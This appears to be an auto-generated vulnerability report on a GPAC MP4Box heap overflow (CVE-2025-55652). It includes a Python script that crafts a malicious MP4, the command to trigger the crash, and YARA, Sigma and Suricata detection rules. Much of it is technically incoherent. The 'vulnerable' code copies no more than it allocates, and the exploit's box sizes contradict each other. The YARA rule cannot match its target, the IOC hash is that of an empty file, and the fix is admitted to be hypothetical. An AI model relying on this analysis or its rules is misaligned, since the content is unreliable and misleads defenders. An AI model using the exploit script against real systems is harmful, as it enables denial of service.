CVE-2025-55652
Executive Summary
CVE-2025-55652 is a heap buffer overflow vulnerability in the gf_isom_vp_config_new function within isomedia/avc_ext.c of GPAC MP4Box version 2.4. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a crafted MP4 file. The vulnerability is triggered during the parsing of VP configuration data, leading to memory corruption and potential application crash. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vulnerability is classified under CWE-122 (Heap-based Buffer Overflow) and is associated with MITRE ATT&CK tactic T1203 (Exploitation for Client Execution).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Local (L) – Requires local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must open the crafted MP4 file.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): High (H) – Complete denial of service.
Threat Level: Medium. The vulnerability requires user interaction and local access, but can lead to a complete crash of the MP4Box application, potentially affecting automated media processing pipelines.
Deep Dive & Mechanics
The vulnerability resides in the gf_isom_vp_config_new function, which is responsible for parsing VP (Video Payload) configuration data from MP4 files. The function allocates a heap buffer to store configuration data but fails to properly validate the size of the input data before copying it. When a crafted MP4 file provides an oversized or malformed VP configuration, the function writes beyond the allocated buffer, causing a heap buffer overflow.
Root Cause: The function uses a fixed-size buffer or calculates the buffer size based on untrusted input without proper bounds checking. Specifically, the gf_isom_vp_config_new function in isomedia/avc_ext.c does not verify that the configSize field from the MP4 file is within the expected range before performing a memcpy operation.
Trigger Mechanism: An attacker crafts an MP4 file with a malicious VP configuration box (e.g., vpcC or similar) that contains an inflated configSize value. When MP4Box processes this file, it allocates a buffer based on the declared size but then copies more data than allocated, leading to overflow.
Impact: The overflow corrupts adjacent heap memory, which can cause immediate application crash (DoS). In some cases, it might be leveraged for arbitrary code execution, but the current assessment focuses on DoS.
Vulnerable vs. Patched Code
Vulnerable Code (GPAC MP4Box v2.4):
// isomedia/avc_ext.c - gf_isom_vp_config_new (simplified)
GF_Err gf_isom_vp_config_new(GF_ISOFile *file, u32 trackNumber, u32 configSize, u8 *configData) {
GF_TrackBox *trak = gf_isom_get_track(file, trackNumber);
if (!trak) return GF_BAD_PARAM;
// Allocate buffer based on configSize
u8 *buffer = gf_malloc(configSize);
if (!buffer) return GF_OUT_OF_MEM;
// Copy config data without size validation
memcpy(buffer, configData, configSize);
// ... further processing
}
Patched Code (Hypothetical fix):
// isomedia/avc_ext.c - patched version
GF_Err gf_isom_vp_config_new(GF_ISOFile *file, u32 trackNumber, u32 configSize, u8 *configData) {
GF_TrackBox *trak = gf_isom_get_track(file, trackNumber);
if (!trak) return GF_BAD_PARAM;
// Validate configSize against maximum allowed
if (configSize > MAX_VP_CONFIG_SIZE) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[AVC] VP config size too large: %u\n", configSize));
return GF_BAD_PARAM;
}
u8 *buffer = gf_malloc(configSize);
if (!buffer) return GF_OUT_OF_MEM;
memcpy(buffer, configData, configSize);
// ... further processing
}
Key Difference: The patched code adds a bounds check (configSize > MAX_VP_CONFIG_SIZE) before allocation, preventing oversized data from being processed.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Objective: Cause a Denial of Service on GPAC MP4Box v2.4 by crafting a malicious MP4 file.
Lab Environment:
- OS: Ubuntu 22.04 LTS
- GPAC MP4Box v2.4 (compiled from source)
- Python 3.10 with
structandosmodules
Exploit Script (Python):
#!/usr/bin/env python3
import struct
import os
# Craft a minimal MP4 file with a malicious VP configuration box
def create_malicious_mp4():
# MP4 file header
ftyp = b'\x00\x00\x00\x14ftypmp42\x00\x00\x00\x00mp42mp41'
# Malicious VP configuration box (vpcC)
# Box size: 0xFFFFFFFF (large) to trigger overflow
box_size = 0xFFFFFFFF
box_type = b'vpcC'
# Config data: oversized payload
config_data = b'A' * 0x1000 # 4KB of data
vpcc_box = struct.pack('>I', box_size) + box_type + config_data
# Combine into a valid MP4 structure (simplified)
moov = b'\x00\x00\x00\x08moov' + vpcc_box
mp4_data = ftyp + moov
with open('malicious.mp4', 'wb') as f:
f.write(mp4_data)
print("[+] Created malicious.mp4")
if __name__ == "__main__":
create_malicious_mp4()
Execution:
# Run the exploit script
python3 exploit.py
# Trigger the vulnerability
MP4Box -info malicious.mp4
# Expected: crash or segmentation fault
Blue Team (Defense & Detection)
Detection Strategy:
- Monitor for abnormal MP4Box crashes in logs.
- Use file integrity monitoring to detect crafted MP4 files.
- Implement network-level filtering for MP4 files with oversized boxes.
Mitigation Steps:
- Restrict execution of MP4Box to trusted users only.
- Use sandboxing (e.g., Docker, seccomp) to limit impact.
- Apply vendor patch when available.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.mp4:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- Network Indicators:
- None (local file-based attack)
- System Indicators:
- MP4Box process crash logs containing
SIGSEGVorSIGABRT - Heap corruption errors in system logs (e.g.,
dmesg)
- MP4Box process crash logs containing
Detection Engineering
YARA Rule
rule CVE_2025_55652_GPAC_VP_Config_Overflow {
meta:
description = "Detects crafted MP4 files exploiting CVE-2025-55652"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-55652"
strings:
$vpcc = "vpcC" nocase
$large_size = { FF FF FF FF } // Box size 0xFFFFFFFF
condition:
$vpcc at 0 and $large_size
}
Sigma Rule
title: GPAC MP4Box Heap Buffer Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes or abnormal behavior from GPAC MP4Box when processing crafted MP4 files.
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/MP4Box'
CommandLine|contains: '-info'
condition: selection
falsepositives:
- Legitimate MP4 file processing
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-55652 GPAC MP4Box VP Config Overflow"; flow:to_server,established; content:"|00 00 00 FF FF FF FF|vpcC"; distance:0; within:8; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable MP4Box processing on untrusted files until a patch is available.
- Use input validation to reject MP4 files with oversized VP configuration boxes (e.g.,
vpcCbox size > 1MB). - Apply vendor patch when released (monitor GPAC GitHub repository).
Long-term Fixes:
- Upgrade to a patched version of GPAC MP4Box (once available).
- Implement fuzzing for MP4 parsing functions to identify similar vulnerabilities.
- Use memory-safe languages or bounds-checking libraries for critical parsing code.
Workarounds:
- Run MP4Box in a restricted environment (e.g., Docker container with limited resources).
- Use alternative media processing tools (e.g., FFmpeg) for VP configuration parsing.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-55652